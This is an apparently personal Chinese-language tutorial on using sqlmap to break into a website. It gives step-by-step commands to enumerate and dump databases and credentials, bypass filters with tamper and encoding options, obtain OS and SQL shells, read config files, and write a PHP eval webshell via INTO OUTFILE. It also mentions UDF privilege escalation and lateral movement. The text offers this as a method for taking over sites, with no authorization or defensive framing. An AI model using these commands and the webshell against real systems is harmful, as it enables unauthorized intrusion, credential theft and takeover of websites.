#前言
首先,這篇文章只針對於滲透某單一網站,來如何利用sqlmap。如果有個別大牛是單單的挖SRC,那么手注的效率是高於sqlmap的。此外,這也是我自己的一個心得,如有不同的意見,歡迎大家進行交流學習。
此外,在開篇之前,我也講講一些加快注入的方法,比如進入一個網站,你可以看見他的語言,然后大致判斷出數據庫的,或者用一些網站指紋和插件來判斷,這樣,在注入的時候可以–dbms = mysql,這樣可以打打提高速率,第二,就是我們先判斷哈注入點,’ and 1=1–+ ,‘and 1=2–+查看sql注入的類型,如果知道了,我們可以–technique = U聯合注入。然后還可以設置線程,–threads = 50增加默認線程。 --batch,自動注入,系統幫你選擇。如果在注入途中我們的ip直接被ban了,我們下次可以用–safe-freq和–random-agent這2個參數。
我直接開講,我首先說說sqlmap常見ri站的幾種方法:
1.例如某網站的url為www.xxxx/aboutus.php?id=1,假如其存在注入點,並且sqlmap能跑。以后的網站都為www.xxxx/aboutus.php?id=1
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db //查詢當前數據庫
sqlmap -u www.xxxx/aboutus.php?id=1 -D 數據庫名字 --tables //查詢所有表
sqlmap -u www.xxxx/aboutus.php?id=1 -D 數據庫名字 -T 表名 --columns //查詢表里的所有字段
sqlmap -u www.xxxx/aboutus.php?id=1 -D 數據庫名字 -T 表名 -C 字段 --dump
這是最簡單的一種,如若存在注入,我們首先找到他的密碼,然后進入網站后台,當然找網站后台也有很多方法,在我github里面我總結了的,回到正題,進入后台我們就可以找上傳點,然后上馬拿shell,這是第一種方法。
此外,我們還可以使用一些參數,比如sqlmap -u “xxxxx” --file-write="/root/Desktop/1.txt" --file-dest=“f:\1.txt” sqlmap寫文件,需要dba權限
2.假入我們在sqlmap輸入sqlmap -u www.xxxx/aboutus.php?id=1 --current-db ,無法完成注入,我們可以加以點東西,例如,
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hex,–hex是進行16進制編碼,有幾率繞過.
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --no-cast,該參數也是一種編碼,也有幾率繞過。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hpp,該參數為是對http參數進行污染,也有幾率繞過。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --tamper apostrophemask.py 使用腳本繞過,這個腳本是換成utf-8的格式,網上也有很多腳本的注釋,大家可以參考網上的資料。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --risk = 5 --level = 2,增加risk與level的等級,更全方位的體檢,但是,耗費的時間也更多。這是對第一種的方法的補充。
3.關於POST注入,這個注入要比第一種成功率高(我認為),而且利用的方法也很多。
sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --cookie "id=1"這也是post的一種,關於cookie,當然,我們還可以使用–data,我這兒不推薦,我建議用burpsuit抓包,然后在user-agent,cookie啊,這些地方都可以加*,然后sqlmap開始注入。
然后我們就可以使用sqlmap -u www.xxxx/aboutus.php?id=1 -r 1.txt按照以上的步驟操作,但是我們也可以使用一些額外的參數例如,–os-shell,–sql-shell,–os-pwn
接下來,我就來講講這幾個參數首先是–os-shell,os-shell創建一個對方操作系統的shell,遠程執行系統命令,但是我們的知道一些條件,第一是語言,這個很簡單
第二是曉得絕對路徑,怎么找絕對路徑我也總結了,就在我的github上,選項一為用這幾個路徑,選項二為用戶自己輸入,選項三為用用戶的字典,選項四為爆破。
然后我們就可以執行命令了
然后我們就可以cd 跳到他的磁盤去,創建文件,寫入一句話,如若是域用戶,還可以以此為跳板,內網橫向滲透。(這里我沒有寫)
接下來是–os-cmd,最開始我一直分不清它跟前者到底有什么關系,后來才明白這個是不需要你輸入路徑的,我們只需要看自己的權限,是不是DBA權限–is-dba。看開啟xp_cmdshell沒有,如果開啟了,那就可以使用。
這個就看運氣了,基於這個方法,我們還是能getshell,思路也是同前一種方法一致。
然后我再介紹一下–sql-shell這個參數,這個參數其實跟前面2個參數的要求沒那么高,只要數據庫開啟了shell能執行命令,那么我們即可使用,但是在網上對於此方法的提及真的是微乎其微,所以,我也自己經歷了一些情況,才慢慢摸索出來的。
首先我們可以這樣使用:
sqlmap -u www.xxxx/aboutus.php?id=1 --sql-shell 然后我們就進入了交互式頁面。
然后我們輸入 select host,user,password from mysql.user這條命令,可以查詢數據庫的用戶和密碼
后面就不截圖了,我直接說用法,load_file(’/home/wwwroot/index.php’),讀取文件,我們可以讀取一些配置很重要的文件,config等文件
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/home/wwwroot/default/p.php’寫入一句話,當然,你的有寫入的權限。
當然,如果我們不能寫,還想getshell,應該怎么辦呢,這是,我們就可以按照剛剛的思路,去讀取一些重要的配置文件,然后用mysql來遠程連接。
sqlmap -d “mysql://admin:password@192.168.1.1:3306/security” admin是賬號,psw是密碼,后面是地址和端口,security數據庫。我們數據庫可以用current-db來查看,進入以后,我們就可以操作了,我們可以用udf提權,我的xmind也有詳細過程,然后整活。
關於–os-pwn,這個是和msf配合使用的,我后續會寫一篇專題文章關於MSF的,這兒就不多介紹。
然后還有就是代理,其實sqlmap里面有代理這個參數,但是我感覺不怎么靈活–proxy,我建議的是配合Proxifier這個工具來使用,配置原理就是跟在瀏覽器配合1080端口用burpsuit抓包一樣,全局代理,很方便的。
這些都是我基於自己的心得,畢竟sql注入真的是很多站都存在的問題,也是最容易入手,拿到一個網站shell的一個漏洞,因此,寫下這篇文章。畢竟要從一個新手,到大牛,我們必須學會這些工具的利用,然后在基於工具利用的基礎上,我們在不斷的升華自己,先從簡單的網絡協議,到操作系統,熟知cmd,powershell,注冊表,到代碼審計,自己找cms的0day,再到掌握語言,自己寫工具,對工具有自己的見解,然后基於底層的匯編,逆向,為后面的免殺加殼做准備。最后,擁有完善的思維系統,外網內網有自己的思路。這些,都需要我們一步一個腳印,慢慢去完善。
https://github.com/xinxin999 這是我的github,也希望在各位學安全的伙伴,共同進步,為中國的互聯網盡一份微薄的力量。